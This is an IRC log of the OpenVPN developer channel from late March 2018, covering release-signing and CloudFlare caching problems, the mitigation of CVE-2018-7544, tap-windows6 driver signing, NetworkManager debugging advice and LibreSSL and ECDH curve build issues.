cron2 has nothing pressing but a quick "touching bases" won't hurt 11:54 * syzzer should be around 12:17 <@dazo> ValdikSS: the icky think about the PKCS#11 stuff ... pkcs11-helper is broken but upstream pkcs11-helper developer does not acknowledge the issue. Anything else just nasty workarounds ... so the move towards p11kit is critical to get this really solved 12:19 <@dazo> ValdikSS: Another "fix" to this would have been possible if systemd guys had provided a new interface for grabbing user input. They talked a lot about it around the time this occurred, but those efforts halted due to kbus never happening - and now things are somewhat moving forward with bus1 in the kernel scope 12:21 < eworm> wondering when we will hear any news from bus1... 12:21 < eworm> things are quite silent 12:22 <@dazo> yeah, it's been silent ... but I've talked to one of the developers a while ago, and it was moving forward "behind the scenes" 12:22 <@dazo> they're just trying to iron out any obstacle the kernel developers might come up with before the next attempt 12:22 < eworm> ok, let's hold thumbs... :-p 12:23 <@dazo> and ... there's been produced a "wrapper daemon" for bus1 which provides a compatible D-Bus interface - so you don't need the dbus daemon running 12:23 < eworm> currently dbus-broker sees some activity, but that is just a replacement for current dbus 12:23 <@dazo> yeah, that's what I'm thinking of ... and that got support for bus1 under the hood 12:58 <@cron2> what is bus 12:58 <@cron2> argh 12:58 <@dazo> bus1? 12:58 <@cron2> what is bus1? 12:58 <@cron2> as in "how does it relate to d-bus" and such :) 12:59 <@dazo> it's a more modern IPC, a service provided by the kernel ... but with lots of inspiration of the D-Bus model 12:59 <@dazo> the kdbus got reject due to being overly complicated (The D-Bus protocol and features are quiet extensive) ... so bus1 tries to strip down a lot of the features to the bare minimum 13:00 <@dazo> (overly simplified, but that's basically it) 13:00 <@dazo> The dbus-broker is then aimed at providing the glue between bus1 and D-Bus users in the longer run 13:01 <@dazo> and with bus1, you get the IPC mechanism available during early boot ... which is currently the biggest challenge with the current D-Bus approach 13:01 <@dazo> Plus, both bus1 and kdbus has an enormous performance boost over the current D-Bus daemon 13:03 <@dazo> (kdbus was capable of transporting real-time streams of audio without latency issues and not overloading neither the kernel nor the overall system - this is not possible with D-Bus today) 13:03 <@cron2> fascinating :) 13:07 <@dazo> The nice things about these approaches is that the libraries you can use, takes care of all the data parsing and message passing ... so you don't need your own specialized home-grown IPC implementation passing data over sockets. You get a reasonable API taking care of data types, packet sending and parsing, message broadcasts, authorization, etc, etc ... implementers can focus on the core issue instead of building a homegrown IPC protocol 13:07 <@dazo> and delivery mechanism 14:07 -!- cron2 [gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 14:08 -!- cron2 [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 14:08 -!- mode/#openvpn-devel [+o cron2] by ChanServ 14:08 <@cron2> folks are wrecking our datacenter... :-) 14:08 <@dazo> :) 14:11 <@cron2> well, "my junior engineers", to be precise :) 14:11 <@dazo> heh ... well, they need to learn somehow :-P 14:12 <@cron2> (a core router needs to be upgraded, and two juniors are doing this while two seniors are sitting on standby and wringing their hands :) ) 14:12 <@dazo> Isn't seniors just juniors who have enough wreckage data centres enough times and survived? :-P 14:12 <@cron2> indeed 20:17 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 268 seconds] 20:18 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 20:18 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 20:19 <@ordex> lol --- Day changed Wed Mar 21 2018 01:06 <@vpnHelper> RSS Update - tickets: #1032: mbedTLS Security Advisory - February 2018 <https://community.openvpn.net/openvpn/ticket/1032> 01:37 <@ordex> cron2: it may depend on the resulting patches, but I'd avoid to squeeze the v6 only client in 2.4 - does not sound like a "really easy change that can't break anything" :P imho 01:38 <@ordex> (and it's definitely not a "fix") 02:36 < cthuluh> ordex: out of curiosity, what's a "v6 only client" here? 02:37 <@mattock> cron2, syzzer: I will send the meeting invitation then 02:37 <@ordex> cthuluh: basically we were talking about openvpn working with a v6-only tunnel. It was being discussed at https://community.openvpn.net/openvpn/ticket/208#comment:9 02:37 <@vpnHelper> Title: #208 (Allow ipv6 only tunnels) – OpenVPN Community (at community.openvpn.net) 02:37 <@ordex> cthuluh: and the client code seems easier to rearrange 02:38 <@ordex> so "v6 only client" was about that specific point 02:39 < eworm> ordex: Any updates on netlink code? Do we have a schedule for review and merge? 02:39 < cthuluh> ordex: ah ha, I see, thanks :) 02:39 <@ordex> eworm: no schedule so far - it's on my todo list after I am done with the multiport thing 02:39 <@ordex> cthuluh: np! 02:40 <@ordex> eworm: have you been running the latest update? i.e. the code rebased on latest master? 02:40 <@ordex> (for a bit) 02:41 < eworm> I am running a package from March 8th 02:42 < eworm> Including my non-root patches 02:42 <@ordex> alright 02:42 <@ordex> that's the latest 02:42 < eworm> works fine 02:42 < eworm> at least on clients, did not check on server 02:43 <@ordex> yeah, I think dazo has been running netlink on his servers 02:49 <@ordex> eworm: but thanks for pushing. that's good too ;P 02:52 < eworm> :-P 02:53 * eworm really likes the netlink stuff ;) 04:28 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 04:28 -!- mode/#openvpn-devel [+v janjust] by ChanServ 05:13 <@mattock> for some reason gpg insisted on using my expired security@openvpn.net subkey for signing, even though I had unexpired one available 05:14 <@mattock> it also "conveniently" hid the fact that expired subkeys were still present (you need to switch on an option to show them) 05:14 <@mattock> I'm not finally able to resign the release files with the unexpired subkey... 05:14 <@mattock> now 05:16 <@ordex> mattock: weird, my gpg just does not uses expired subkeys - it behaves like there is none available 05:17 <@ordex> maybe it's something coming with a newer version (some default setting being changed?) 05:18 <@cron2> gpg usability stinks 05:18 <@mattock> yep 05:19 <@mattock> I wonder what is the rationale behind preferring an expired subkey 05:19 <@mattock> probably nobody just though about key expiration and gpg takes the first key it finds 05:20 <@ordex> what veesion of gpg do you have 05:20 <@ordex> ? 05:20 <@ordex> *version 05:27 <@dazo> ordex: I've only run netlink on the client side ... hmmm ... but I could arrange for a Fedora Copr repository for openvpn2 with netlink and announce it on Fedora mailing lists - asking for testers 05:27 <@ordex> dazo: hmm not sure we'd really need such a broad campaign 05:28 <@cron2> if the client side works, I see no reason why the server side shouldn't 05:28 <@ordex> once we have some more unit test + our scripts ran over it, it should be ok 05:28 <@ordex> yeah 05:28 <@cron2> that part of the code is just the same - "ifconfig, add route" 05:28 <@dazo> yeah, agreed 05:28 <@ordex> although there might be some things that are used only on server mode? 05:28 <@ordex> anything? 05:28 <@cron2> I do have plans for the server side to be able to do "route" from ccd/ files :-) 05:28 <@dazo> but I'll probably create the copr repos anyhow, it makes it easier for me to test on my servers :) 05:28 <@ordex> cron2: oh only iroute is supported so far? 05:28 <@cron2> ordex: not today. routes are installed on startup with the normal "add route" paths 05:28 <@cron2> yep 05:29 <@ordex> cron2: copy that 05:29 <@ordex> dazo: ok :D 05:29 <@ordex> weee 05:29 <@cron2> (as one can do the "dynamic route" trick using client-connect scripts, the pain was not big enough to go hacking and propose code :-) ) 05:29 <@cron2> learn-address even 05:32 <@ordex> yeah 06:38 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 08:11 <@mattock> ok I will break file releases now 08:11 <@mattock> upload updated release files to S3 08:20 <@mattock> done, but I can't flush CloudFlare caches right now 08:30 <@mattock> it seems it has the old files and signatures in its cache 08:39 <@dazo> there's reason to both love and hate Cloudflare :/ 08:42 <@mattock> yep 08:42 <@mattock> it rather persistently keeps old files in its cache 08:42 <@mattock> it's not automagic enough to figure out a file has changed 08:46 <@dazo> btw ... https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7544 08:46 <@vpnHelper> Title: CVE - CVE-2018-7544 (at cve.mitre.org) 08:47 <@dazo> I'll prepare our own CVE page and try to get MITRE to add it to the References as well 09:58 <@plaisthos> sorry could not make it to today's meeting :() 10:01 <@vpnHelper> RSS Update - tickets: #1046: Allow modifying OpenVPN internal routing table <https://community.openvpn.net/openvpn/ticket/1046> 12:41 <@mattock> plaisthos: no worries 16:20 -!- slypknot is now known as tincantech 16:21 < tincantech> dazo: if you have time could you take a look here: https://forums.openvpn.net/viewtopic.php?f=6&t=26077 16:21 <@vpnHelper> Title: difficulty getting openvpn started on freebsd - OpenVPN Support Forum (at forums.openvpn.net) 16:22 < tincantech> please 16:22 <@cron2> huh 16:22 <@cron2> install the pkg, edit /usr/local/etc/openvpn/server.conf, run "/usr/local/etc/rc.d/openvpn start" 16:24 <@cron2> "segmentation fault" is an indication of "this binary was not built correctly for this system" - like "mixing together different versions of shared libraries" etc 16:25 <@cron2> freebsd 9.3 is end of life, freebsd pkg has 2.4.5 (I think), so whoever provides that environment needs serious upgrades 16:26 < tincantech> cron2: thanks .. i thought it was something like that :) --- Day changed Thu Mar 22 2018 02:29 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 240 seconds] 02:31 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 02:31 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 03:02 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 255 seconds] 03:10 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 03:10 -!- mode/#openvpn-devel [+o dazo] by ChanServ 03:15 <@mattock> dazo: I made some fixes to the management interface draft page 07:29 <@mattock> new GPG signatures for release files are now online 07:29 <@mattock> as I feared, CloudFlare messed up things 07:29 <@mattock> 2.4.5 release files are good 07:30 <@mattock> 2.3.18 I001/I601 are good 07:30 <@mattock> 2.3.18 tarballs are not good (signature files are old ones) 07:31 <@mattock> I hope this goes away in time, because there's not much I can do besides "Clear cache" for those files constantly 07:31 <@mattock> which does not seem to do any good 07:38 < eworm> CloudFlare causes trouble over and over again, no? 07:38 < eworm> How about uploading release files to github.com for a reliable source 07:40 <@cron2> mattock: if you have statistics on how many downloads you see etc. we could host things here as well... 07:45 <@mattock> eworm: yes, it almost always gives us _some_ trouble 07:45 <@mattock> unless the exactly correct, new files get upload and never changed 07:46 <@mattock> overwriting existing files (e.g. gpg detached signatures) is a sure recipe for a mess 07:46 <@mattock> hence I'm generally reluctant to touch any files that we've managed to upload once 07:47 <@mattock> cron2: I would definitely prefer not having CloudFlare in the front, but the decision is not mine to make 07:47 <@mattock> we do have build.openvpn.net for cases where we need reliability 07:47 < cthuluh> maybe release new tarballs under a different name? eg openvpn-2.4.5a.tar.gz ? 07:47 <@mattock> and lack of hassle 07:48 <@cron2> we-hell... it should be at least a community-influenced decision where we put the community-maintained-version downloads... 07:48 <@mattock> generally we will have different names for new tarballs 07:48 <@cron2> cthuluh: it's the same tarball, just a new signature (due to "subkey expired") 07:48 < cthuluh> as a downstream I can confirm that CDNs like cloudflare are a pain in the butt :) 07:48 < cthuluh> (but I never issues with openvpn tarballs so far) 07:48 <@mattock> cron2: you do have a point there 07:49 <@mattock> I can definitely bring this up once again 07:49 < cthuluh> cron2: yep, I wanted to point out that a new file name (with the same exact content) would work around caching issues 07:49 <@mattock> because me spending hours fighting CloudFlare is not particularly cheap for the company, either 07:49 <@ordex> if we all think that hosting the tarballs somewhere else is a better decision, I don't think we have to ask anybody other than ourselves :P 07:50 <@mattock> mutiny! 07:50 <@mattock> arr 07:50 <@ordex> lol 07:50 <@cron2> mattock: as well. But we need to make this an informed decision - like "what is the underlying reason for cloudflare" (DoS, traffic costs, ...), and "how much traffic are we dealing with" 07:50 < cthuluh> I would like to stress that using github might be nice, but only if you upload actual releases there, and not just tell people to rely on github-generated tarballs, which aren't stable :) 07:51 <@cron2> this might be an option as well 07:51 <@mattock> cron2: I will send email internally about this 07:51 <@mattock> there are several reasons for using CloudFlare 07:51 <@cron2> ordex: well, your boss might have an opinion about that :) 07:51 <@mattock> if it did not suck as much in these cases it would be ok-ish 07:53 <@plaisthos> ~. 07:56 < cthuluh> ok so nothing planned regarding CVE-2018-7544, good 07:57 <@cron2> nothing more than already committed - print a clear warning that "TCP + no password" is strictly not recommended, and amend openvpn.8 to point out that unix sockets exist 07:58 <@cron2> commit 4db7715a3aa62, ec100d7e4ce and 5961250e77 07:58 < cthuluh> yep 07:59 < cthuluh> this lead me to audit all our openvpn setups at work, which uncovered weird setups especially regarding management :) 07:59 <@cron2> every time I look at *anything* in my customer networks I find "weird setups" :-) 08:00 < cthuluh> like "Why tell the management port to bind on something more than 127.0.0.1 in the first place?" 08:00 <@cron2> "we cannot remember, but someone thought it was a good idea, back then" 08:00 <@plaisthos> vulenratiblity assumes you exploit via browser/js that connects to 127.1 08:01 < cthuluh> plaisthos: the PoC at http://blog.0xlabs.com/2018/03/openvpn-remote-information-disclosure.html does indeed connect to localhost 08:02 <@vpnHelper> Title: 0xlabs | Blog: OpenVPN: Remote Information Disclosure and Denial Of Service (CVE-2018-7544) (at blog.0xlabs.com) 08:02 < cthuluh> but I don't think there's anything special about localhost, is there? 08:09 <@mattock> sent email about CloudFlare 08:36 <@mattock> cron2: any luck with tap-windows6 signing? the compilation fails with the current version of the patch 08:36 <@cron2> what's the error? 08:38 <@mattock> >c:\users\samuli\opt\tap-windows6\src\txpath.c(128) : error C2065: 'packetLength' : undeclared identifier 08:39 <@cron2> argh 08:39 <@cron2> the declaration has "PacketLength" (line 95, first hunk of txpath.c) which should be packetLength 08:40 <@mattock> tiny differences make all the difference :P 08:40 <@cron2> single bit error 08:41 <@mattock> I abhor the fact that I have to sign tap-windows6 again... 08:41 <@mattock> using VNC over OpenVPN over to California 08:41 <@mattock> fortunately I Powershelled much of the complexity 08:41 <@mattock> the last time 08:42 <@mattock> I'll the test new patch 08:42 <@mattock> I can't produce a signed tap-windows6 driver right now as the signing computer seems to be down atm 08:43 <@cron2> isn't security fun? 08:44 <@mattock> horrible 08:44 <@mattock> especially when doing security things remotely via RDP or VNC on Windows VMs over VPN to the other side of the globe :| 08:44 <@mattock> I don't mind SSH 08:44 <@mattock> :P 08:45 <@mattock> this actually brings us to another thing 08:45 <@mattock> when tap-windows6 was released the last time we added double signatures using this script: https://github.com/mattock/sign-tap6/ 08:45 <@vpnHelper> Title: GitHub - mattock/sign-tap6: A Powershell script for signing or adding signatures to tap-windows6 drivers (at github.com) 08:45 <@mattock> basically the problem was that Windows Vista and some very obsolete Windows 7 versions did not support sha256 08:46 <@mattock> which mean that we needed two signatures in the driver, and they had to be in correct order 08:46 <@mattock> the question is: do we still want to support such obsolete installations? 08:46 <@mattock> Vista I believe is EOL 08:47 <@mattock> Windows 7 is not, unless lack of sha256 support == pre-sp1 09:41 <@plaisthos> regular support ended 13.1.2015 09:41 <@plaisthos> there is only extended support until 2020 09:41 <@plaisthos> but 09:41 <@plaisthos> so unless it is a secuirty problem I would not bother 09:46 < kitsune1> mattock: I find rdp more responsive than vnc over such distant links. 11:21 <@cron2> bah, janjust is measuring again, and coming up with unexplainable results 13:25 <@cron2> meh 13:26 <@cron2> tunnelblick complains in loud words (popup box) about ns-cert-type and comp-lzo if detected in the config 13:26 <@cron2> ... which led to our CEO removing comp-lzo from his .ovpn, and subsequently calling in (panicking everybody) "THE VPN IS BROKEN!"... 14:33 < nb> cron2, change it to "compress lzo" 14:33 < nb> compress lzo is compatible with comp-lzo 14:56 < kitsune1> nb: cron2 is a lead developer -- he knows how compress option works :) 14:59 < nb> kitsune1, oh sorry cron2 :) 14:59 * nb didn't look at what window I was in, I thought this was #openvpn 15:31 <@dazo> heh 16:34 <@cron2> *snicker* 16:35 * cron2 is actually the one that ported James' new compression framework into 2.3, including the new "compress" keyword :-) 16:35 <@cron2> the interesting part here was "half the team panicking because the CEO called in, having problems with his OpenVPN"... :-) 16:39 <@dazo> :) 16:40 <@cron2> (usually that is "certificate has expired", but we managed to become actually quite good at rolling out new ones in time, with a self-service portal that you drag-and-drop your p12 into, and out falls a .ovpn) 17:15 < kitsune1> .ovpn should be in read-only media :) 17:25 <@dazo> kitsune1: meh ... not when you embed certificates into the file ... which expires 18:18 < kitsune1> OK, what about no write access for CEO's 18:35 <@dazo> kitsune1: don't try to remove the possibility for the ones lower down in the food chain to get valid reasons to bitch at their CEOs! ;-) 19:37 < kitsune1> excellent point ! 20:30 <@ordex> cron2: if it makes you feel better. the "CEO call in: ALAAAAARM!!!" pattern is pretty common, despite all our efforts to get rid of such things :P --- Day changed Fri Mar 23 2018 01:37 <@mattock> kitsune1: yes, but RDP is not an option in that case 01:37 <@mattock> the EV signing dongle refuses to work over RDP 11:30 <@cron2> amazing story about egoes and licensing... https://invisible-island.net/ncurses/ncurses-license.html 11:30 <@vpnHelper> Title: NCURSES Licensing (at invisible-island.net) 16:38 < kitsune1> What a story -- the ncurses saga. Not totally surprising though, as ESR was involved :) 16:50 < SCHAPiE> my openvpn-2.4.5 build is failing with libressl-2.7.0, so i made a patch (based on the patch that the OpenBSD folks made) 16:51 < SCHAPiE> haven't tested it on the git master yet though 16:52 < SCHAPiE> just made a libressl-2.7.0 for irssi 1.1.1/gitmaster as well :p on a roll today 16:52 < SCHAPiE> + patch 16:57 < SCHAPiE> ah it's already fixed in the git master version, nice 17:01 <@dazo> SCHAPiE: we have new developer who stepped up and will take a stab at improving the LibreSSL support .... currently it's not officially supported - if it works, it works ... but with a person dedicated to maintain this, we might support it more officially. 17:01 <@dazo> (this all happened just a few weeks ago, so fairly fresh) 17:02 < SCHAPiE> ah, that is really nice to hear 17:04 < SCHAPiE> that'll save some fishing from the OpenBSD cvsweb 17:05 < SCHAPiE> (in terms of grabbing and altering patches) 17:21 <@dazo> It's cthuluh doing this ... don't recall now if he's the OpenBSD package maintainer for openvpn 22:52 <@ordex> that's a real license frama 22:52 <@ordex> *drama --- Day changed Sat Mar 24 2018 03:13 <@cron2> dazo: he is (chtuluh) 03:59 <@mattock> I now know the correct process for purging obsolete release files - it seems necessary to do purging from S3 also, not just CloudFlare. I'll try to find time this evening to do that 05:36 <@ordex> cool 05:36 <@ordex> hopefully this is deterministic 10:20 < cthuluh> SCHAPiE: openvpn-2.4.5 builds against libressl-2.7.1 here 10:21 < cthuluh> without patches 11:50 <@vpnHelper> RSS Update - gitrepo: Avoid overflow in wakeup time computation <https://github.com/OpenVPN/openvpn/commit/f158c0e1df13ae1b697cdc7f189ddd1575a0c1aa> 13:30 <@vpnHelper> RSS Update - gitrepo: manpage: improve description of --status and --status-version <https://github.com/OpenVPN/openvpn/commit/308c9d7f001a97daebcccf503f255947c0e09183> 13:40 <@cron2> ordex: I will need some guidance wrt patches 66, 67 and 75 - 66+67 are "v5" - so 76 is "2/3" of the series where 1/3+3/3 are 66+67? 13:40 <@cron2> (I won't do this before Wednesday anyway, because I'm off to snowboarding for 3 days \o/ - but will check IRC and make notes) 13:40 <@vpnHelper> RSS Update - gitrepo: Add negotiated cipher to status file format 2 and 3 <https://github.com/OpenVPN/openvpn/commit/8acc40b6a64451d9a17cf4fa12fac2450ca26095> 15:53 < SCHAPiE> cthuluh: ah, it does here as well, indeed 15:58 < SCHAPiE> let's see whether it crosscompiles fine with openvpn-build as well, would be nice 16:05 < SCHAPiE> hm, pkcs11-helper complains 23:49 <@ordex> cron2: to the rescue! 23:51 <@ordex> cron2: conclusion: 66 = 1/3 (v5), 75 = 2/3 (v6), 67 = 3/3 (v5). 76 is unrelated to this series --- Day changed Sun Mar 25 2018 14:07 <@cron2> ordex: 76 was a typo :) - but then I got this sorted out and just need to apply and test 19:23 <@ordex> cron2: cool :) 19:23 <@ordex> cron2: let me know if something does not apply cleanly or if you need additional support! --- Day changed Mon Mar 26 2018 09:23 <@dazo> cron2: this t-shirt probably gets your approval quite fast .... :-P https://shop.spreadshirt.no/goaway/the+internet+is+full+go+away-A18193411 09:58 <@ordex> is easter on next Sunday? 09:58 <@ordex> :O 10:46 <@dazo> yeah, in .no it's public holidays from Thursday-Monday next week 11:02 <@ordex> yeah 13:43 <@cron2> dazo: indeed! 20:04 <@ordex> aloha --- Day changed Tue Mar 27 2018 13:09 <@mattock> shall we arrange a meeting tomorrow? 14:28 <@cron2> I'm back in town, but will be fairly busy today (short week with only two working days). So, if you arrange a meeting, I'll be there - and if not, I'll be happy to postpone 14:49 <@dazo> I think its good to postpone ... this Easter week is unpredictable in regards to attendance .... I will most likely be available, but won't cry or complain if it's postponed 17:07 -!- slypknot is now known as tincantech 17:09 < tincantech> rather than me start another flame up on the forum, I wonder if I can tempt dazo or ordex to point this guy in the right direction .. 17:09 < tincantech> https://forums.openvpn.net/viewtopic.php?f=33&t=26103#p77814 17:09 <@vpnHelper> Title: Misleading error - "Username/password do not match" - OpenVPN Support Forum (at forums.openvpn.net) 17:10 < tincantech> it would sound much better from yous than me 18:05 <@vpnHelper> RSS Update - tickets: #1047: ifconfig_remote environment variable not passed to --up script <https://community.openvpn.net/openvpn/ticket/1047> 20:45 <@ordex> tincantech: "You posted your server CA.crt and your public IP address .. so consider that your current CA is compromised." << you wrote this, but the CA.crt is a public certificate, there is nothing secret about it. why you think revealing it will compromise the PKI? --- Day changed Wed Mar 28 2018 01:55 <@mattock> cron2, dazo: I'm good with postponing - I need to finish Pwm upgrade before 31st or people won't be able to register to our community services 01:56 <@mattock> almost there, but not quite 01:56 <@ordex> I also don't think we have anything very urgent to discuss (?) 01:58 <@mattock> I don't think so either 02:06 <@cron2> ok, good :-) - and good morning everybody 02:08 <@cron2> mmmh, something for syzzer... there is a -Wdocumentation switch to clang which checks for doxygen documentation 02:08 <@cron2> not sure which version you need, tho 02:09 <@ordex> lol 02:09 <@ordex> soon compilers will run unit tests too :-P 02:11 <@cron2> https://clang.llvm.org/docs/DiagnosticsReference.html#wdocumentation 02:11 <@vpnHelper> Title: Diagnostic flags in Clang Clang 7 documentation (at clang.llvm.org) 02:12 <@cron2> (the manual looks like it was autogenerated from documentation in the code, though... it explains what sort of warnings this could print, but nothing more) 02:12 <@cron2> http://fuckingclangwarnings.com/ 02:12 <@cron2> lol 02:12 <@vpnHelper> Title: Which Clang Warning Is Generating This Message? (at fuckingclangwarnings.com) 02:57 <@syzzer> ordex: iirc, (re compiler runs unit tests) the rust toolchain does run code you put in a function comment, and reports failures as test failures :p 02:57 <@ordex> :P 03:11 <@cron2> syzzer: ever tried -Wdocumentation? 10:58 -!- slypknot is now known as tincantech 10:59 < tincantech> dazo: thanks for your reply on that "Misleading error .. " one 10:59 <@dazo> yw 11:00 <@dazo> I still disagree your "disable network manager" approach, even for debugging. That is acceptable *only* if you have a feeling there's a bug in network manager 11:02 < tincantech> well .. i am not going to start debugging network manager .. so if it is in the mix i will ask that they start openvpn without it. 11:02 < tincantech> sorry if you disagree 11:03 < tincantech> anyway .. i actually dont mean "disable NM" just start openvpn without it for testing 11:04 <@dazo> the thing is .... network manager generally stays out of openvpns way ... even when started outside of the nm-openvpn plugin 11:05 < tincantech> i have no doubt *you* know what you are talking about but I am not so sure other people do .. when they just use NM because it is (supposed) to be easy .. so they download a vpn profile from a provider, plug that into NM and expect it to work .. that's my issue 11:06 <@dazo> NM is *designed* to be out of the way for most users .... it's when you start doing those "stop NM from running" tricks you start adding complexity 11:06 <@dazo> in worst case, that can even disconnect you from a server if you've ssh'ed into it 11:07 <@dazo> I'll agree that the nm-openvpn plugin is suboptimal .... but that is the plug-in issue, not the core NM framework you want to disable 11:08 <@dazo> so ... the core NM framework (NetworkManager daemon) should always be running on modern Linux distros deploying it by default 11:08 < tincantech> ok .. i have added to that thread that i meant "while debuging openvpn problems" and an example of howto start from terminal .. I am not advocating they disable NM any further 11:08 <@dazo> and it should not cause any issues at all if you start openvpn manually from the command line 11:10 < tincantech> agreed .. like i said, i explained that i did not mean stop using NM completely, just while debugging openvpn 11:10 <@dazo> not even when debugging ... except if it is believed to be a NM bug 11:10 <@dazo> realy. 11:10 < tincantech> well .. we will just have to disagree on that finer point .. sorry 11:11 <@dazo> by not accepting this ... you do tell people to potentially shoot them in the foot 11:11 <@dazo> even when debugging 11:11 <@dazo> if that's not of your concern. Well, then you'll have to help clean up the mess afterwards too 11:13 < tincantech> i disagree on that .. 1. we support openvpn not NM .. 2. make the problem simpler by removing NM from the equation (not disble NM just take it out of the equation for debuging openvpn) 11:13 < tincantech> if openvpn then works .. we can with reasonable confidence point the user to NM documentation 11:15 <@dazo> *sigh* 11:15 <@dazo> BY STOPPING THE NM DAEMON THE OVERALL NETWORK CONNECTION CAN DROP 11:15 <@dazo> NM is not optional in many distro, as you treat it to be 11:16 < tincantech> I never said stop the daemon .. but my first comment of "Stop using NM" needed further clarification, which boils down to start openvpn from a command line 11:16 <@dazo> systemctl stop NetworkManager 11:17 <@dazo> that is stopping the NM daemon. 11:17 < tincantech> i never said that 11:18 < tincantech> besides that command only works on systemd 11:18 < tincantech> my distro is still init 11:19 <@dazo> that is not the point ... you say "Stop using NM" ... that was understood as disabling NM completely 11:20 <@dazo> which there are a million and more blog articles on on the interwebs, the vast majority are plain wrong because they never bothered understanding NM and figures "This worked on my own VM on my laptop" ... not seeing the fuller picture of the harm this can do. 11:25 < tincantech> I have edited my comment : https://forums.openvpn.net/viewtopic.php?f=5&t=25530&p=77843#p77843 11:25 <@vpnHelper> Title: Debian 9 - Tunnel Interface Not Found - New Install - Page 2 - OpenVPN Support Forum (at forums.openvpn.net) 11:26 <@dazo> good, thx! 11:26 < tincantech> also, i will look into using NM more and see if i can improve that .. i never meant to be so anti-NM as it came across 11:27 <@dazo> fair enough :) 11:29 <@dazo> actually, NM in the very beginning did get very bad creds ... much of it was very well deserved, many needed features where prematurely released in my point of view ... but the last 3-4 years, it has improved tremendously and is very seldom causing issues in most setups 11:29 <@dazo> and getting to know nmcli is truly a good thing .... and if you have bash-completion enabled, it's very easy to get things right 11:30 <@dazo> there are just an aspect needed to understand ... for NM .... a _device_ is not the same as a _connection_. The device is the network interface while a connection is the configuration applied to a device 11:31 < tincantech> ok .. i am just afk for a while .. but thanks for your help :) 11:31 <@dazo> sure, no prob 12:18 <@cron2> mmmh 12:18 <@cron2> security@openvpn.net seems a tad slow today 12:19 <@cron2> dazo: have you seen mail from me on security@, in the last 10 minutes or so? 12:21 <@cron2> ah, now it arrived... "just summoning dazo will make mail work!" 12:44 < tincantech> dazo: add cron2's comment to your C.V. ;) 12:45 < tincantech> cron2: when you say summoning .. did that include pentangles, candles and incantations .. whoooo! 12:49 <@cron2> tincantech: usually it's enough to think something derogatory about systemd 12:59 < tincantech> cron2: hehe .. if that is so then he must be like a genie ! popping up everywhere 12:59 < tincantech> and here i am about to upgrade gentoo to systemd as well ! 13:00 <@ordex> hm let me know what breaks afterwards 13:05 < tincantech> ordex: it's a VM .. so i'll just make a new disk and keep the old as backup ;) 13:05 <@ordex> hehe oko 13:06 < tincantech> i s'pose that's not really an upgrade technically ;) 13:06 < tincantech> but my gentoo was a bit out of date till today .. i forgot the portage thing 13:08 < tincantech> i mean the repo .. 13:24 <@cron2> bah 13:24 <@cron2> I just remembered that I haven't updated my gentoo since at least 8 weeks, and it starts being silly again 13:25 <@cron2> "no, you can't upgrade, because then you'll have two versions of qtcore:5 which conflict with each other" - yes, silly, just upgrade what is needed... 14:46 < tincantech> could take me while .. >>> Installing (2 of 228) sys-libs/glibc-2.25-r10::gentoo --- Day changed Thu Mar 29 2018 00:41 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 01:57 <@cron2> dazo: are you around? 08:50 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Quit: host maintenance] 08:53 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 09:16 * cron2 says something bad about systemd 09:52 < eworm> :-p 10:02 <@ordex> doesn't work today :D 10:02 <@ordex> maybe it works once a week :P 10:22 <@cron2> dazo must be on a truly faraway vacation... 10:22 <@mattock> cron2: may I restart the community openvpn instance? 10:22 <@cron2> mattock: I *think* all my clients should cope :) - if not, buildmaster will tell me 10:22 <@mattock> ok, great! 10:22 <@mattock> I just finished migrating the LDAP server and the self-service user registration thing 10:22 <@mattock> openvpn is still using old LDAP server 10:23 <@mattock> actually - I will do that tomorrow 10:23 <@mattock> I need to migrate the openvpn server as well, so better do everything in one go 10:24 <@mattock> buildslaves don't really care if they're authenticating from the old server (same passwords and all) 14:41 <@vpnHelper> RSS Update - tickets: #1048: TLS error: The server has no TLS ciphersuites in common with the client. Your --tls-cipher setting might be too restrictive. <https://community.openvpn.net/openvpn/ticket/1048> 19:12 -!- Netsplit *.net <-> *.split quits: pekster, @vpnHelper 19:13 -!- Netsplit over, joins: pekster, @vpnHelper 20:28 -!- ServerMode/#openvpn-devel [+o ordex] by barjavel.freenode.net 22:03 <@ordex> hm freenode is farting? 23:22 < kitsune1> /lastlog kitsune 23:23 < kitsune1> ugh.. --- Day changed Fri Mar 30 2018 04:46 <@mattock> interesting - "gpg -v --verify <asc-file>" complains about expired subkeys if such are present in the keyring 04:46 <@mattock> it does not matter if the signature was actually _made_ with an expired subkey 05:33 <@cron2> gpg user interface leaves room for improvement... --- Day changed Sat Mar 31 2018 12:57 < tincantech> can openvpn use brainpoolP384r1 for --ecdh-curve ? 12:57 <@cron2> openvpn uses whatever the SSL libraries have to offer 12:59 < tincantech> well .. i have a setup where it does not work and it really should .. server + client report that curve is available .. the server uses it but then "no TLS ciphersuites in common with the client" .. the same setup works perfect with --ecdh-curve secp384r1 13:00 < tincantech> unless .. is there something has to be done to the certs ? 13:02 * tincantech testing now 13:13 < tincantech> nope .. does not work .. TLS error: The server has no TLS ciphersuites in common with the client. 13:13 <@cron2> one of the latest tickets has this issue as well (#1048) - openssl 1.1 does not seem to use all curves automagically, and --ecdh-curve does not seem to make it 13:14 <@cron2> syzzer is hiding, so I have no answer to that yet 13:17 < tincantech> #1048 looks very similar .. some slight diffs but .. 13:17 < tincantech> cron2: thanks :) 13:19 < tincantech> i just added --ecdh-curve brainpoolp384r1 to the client .. but it makes no difference .. client doesn't care about it or throw anerror 23:09 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 255 seconds] 23:09 -!- dazo 